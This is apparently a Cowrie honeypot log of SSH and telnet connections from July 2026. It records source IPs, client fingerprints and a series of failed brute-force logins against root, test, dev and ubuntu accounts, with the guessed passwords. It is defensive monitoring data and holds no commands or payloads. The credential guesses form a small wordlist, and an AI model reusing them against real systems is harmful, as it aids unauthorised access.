{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:04.585242Z","src_ip":"198.1.75.59","session":"6811701c288e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XMR$Tr0ng@P@ss","message":"login attempt [root/XMR$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:04.831490Z","src_ip":"198.1.75.59","session":"6811701c288e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:06.199140Z","src_ip":"198.1.75.59","session":"6811701c288e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":35224,"dst_ip":"159.203.135.109","dst_port":22,"session":"41f7cf110c72","protocol":"ssh","message":"New connection: 162.214.22.174:35224 (159.203.135.109:22) [session: 41f7cf110c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:08.837191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:08.840642Z","src_ip":"162.214.22.174","session":"41f7cf110c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:08.931334Z","src_ip":"162.214.22.174","session":"41f7cf110c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C@k3!M@st3r#P@ss","message":"login attempt [root/C@k3!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:09.198292Z","src_ip":"162.214.22.174","session":"41f7cf110c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:10.579534Z","src_ip":"162.214.22.174","session":"41f7cf110c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":42034,"dst_ip":"10.17.0.5","dst_port":22,"session":"a030aaeeec4b","protocol":"ssh","message":"New connection: 192.169.249.148:42034 (10.17.0.5:22) [session: a030aaeeec4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:15.125624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:15.128639Z","src_ip":"192.169.249.148","session":"a030aaeeec4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:15.192473Z","src_ip":"192.169.249.148","session":"a030aaeeec4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stake456","message":"login attempt [root/stake456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:15.390314Z","src_ip":"192.169.249.148","session":"a030aaeeec4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:16.456840Z","src_ip":"192.169.249.148","session":"a030aaeeec4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":40848,"dst_ip":"10.17.0.5","dst_port":22,"session":"67990d02a57b","protocol":"ssh","message":"New connection: 91.92.40.10:40848 (10.17.0.5:22) [session: 67990d02a57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:16.612743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:17.376129Z","src_ip":"91.92.40.10","session":"67990d02a57b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:17.382047Z","src_ip":"91.92.40.10","session":"67990d02a57b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:19.432017Z","src_ip":"91.92.40.10","session":"67990d02a57b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:20.684669Z","src_ip":"91.92.40.10","session":"67990d02a57b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":51126,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c73f01e86eb","protocol":"telnet","message":"New connection: 137.184.5.188:51126 (159.203.135.109:23) [session: 0c73f01e86eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:21.693383Z"}
{"eventid":"cowrie.session.closed","duration":44.90751123428345,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:34.214794Z","src_ip":"137.184.5.188","session":"c510199e829b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.20.159.54","src_port":58878,"dst_ip":"10.17.0.5","dst_port":22,"session":"0685e6379573","protocol":"ssh","message":"New connection: 157.20.159.54:58878 (10.17.0.5:22) [session: 0685e6379573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:39.441149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-russh_0.51.1","message":"Remote SSH version: SSH-2.0-russh_0.51.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:39.467025Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1b8acd46a07d2dc9854db9ec4044c45c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group18-sha512,diffie-hellman-group17-sha512,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1-etm@openssh.com,hmac-sha1;none,zlib,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group18-sha512","diffie-hellman-group17-sha512","diffie-hellman-group16-sha512","diffie-hellman-group15-sha512","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-512-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-256","hmac-sha1-etm@openssh.com","hmac-sha1"],"compCS":["none","zlib","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1b8acd46a07d2dc9854db9ec4044c45c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:39.712620Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XWOx1eZxYA","message":"login attempt [root/XWOx1eZxYA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:41.799512Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:43.051543Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:44.331019Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:45.584608Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:46.835384Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:48.086046Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:49.343879Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Aa123456","message":"login attempt [test/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:50.594875Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:51.846138Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"12345678","message":"login attempt [dev/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:53.097793Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Aa123456","message":"login attempt [dev/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:54.350002Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:55.600524Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:56.854584Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:58.116989Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.9","message":"Connection lost after 19.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:12:59.367813Z","src_ip":"157.20.159.54","session":"0685e6379573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.50269103050232,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:01.195946Z","src_ip":"137.184.5.188","session":"0c73f01e86eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":32992,"dst_ip":"159.203.135.109","dst_port":22,"session":"c31bb27e3ca5","protocol":"ssh","message":"New connection: 62.133.62.83:32992 (159.203.135.109:22) [session: c31bb27e3ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:10.381802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:10.385254Z","src_ip":"62.133.62.83","session":"c31bb27e3ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:10.467039Z","src_ip":"62.133.62.83","session":"c31bb27e3ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14071984","message":"login attempt [root/14071984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:10.717555Z","src_ip":"62.133.62.83","session":"c31bb27e3ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:11.803280Z","src_ip":"62.133.62.83","session":"c31bb27e3ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":59092,"dst_ip":"159.203.135.109","dst_port":22,"session":"19d5de962c0e","protocol":"ssh","message":"New connection: 80.66.85.226:59092 (159.203.135.109:22) [session: 19d5de962c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:14.484493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:14.487819Z","src_ip":"80.66.85.226","session":"19d5de962c0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:14.570228Z","src_ip":"80.66.85.226","session":"19d5de962c0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rere","message":"login attempt [root/rere] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:14.821054Z","src_ip":"80.66.85.226","session":"19d5de962c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:15.907920Z","src_ip":"80.66.85.226","session":"19d5de962c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53244,"dst_ip":"10.17.0.5","dst_port":22,"session":"47f95e04880d","protocol":"ssh","message":"New connection: 194.59.206.2:53244 (10.17.0.5:22) [session: 47f95e04880d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:22.536936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:13:22.540449Z","src_ip":"194.59.206.2","session":"47f95e04880d","protocol":"ssh"}
